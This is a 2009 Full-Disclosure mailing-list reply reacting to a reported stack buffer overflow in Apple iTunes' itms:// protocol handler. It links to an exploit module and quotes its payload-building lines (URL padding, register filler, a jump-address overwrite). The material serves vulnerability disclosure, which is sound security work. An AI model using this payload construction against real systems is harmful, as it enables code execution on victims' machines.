full-disclosure - Re: TPTI-09-03: Apple iTunes Multiple Protocol Handler Buffer Overflow Vulnerabilities

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Date: Wed, 3 Jun 2009 12:45:25 +0200
From: Thierry Zoller <Thierry@...ler.lu>
To: Will Drewry <redpig@...aspill.org>
Cc: FD <full-disclosure@...ts.grok.org.uk>
Subject: Re: TPTI-09-03: Apple iTunes Multiple Protocol
	Handler Buffer Overflow Vulnerabilities

Hi Will,

WD> Here's the (mac) exploit module to go along with my simul-report to
WD> apple:  http://static.dataspill.org/releases/itunes/itms_overflow.rb

OMFG, you must by kidding, are we 1999 again ?? Classical Stack buffer
overflow in URL request ?! ..o m f g =) Nice find!

itms_base_url = "itms://:"
itms_base_url << "A"*268  # Fill up the real buffer
itms_base_url << "XXXXAAAAZZZZYYYY"  # $ebx, $esi, $edi, $ebp
itms_base_url << target['Addr']  # hullo there, jmp *%ecx!

-- 
http://blog.zoller.lu
Thierry Zoller

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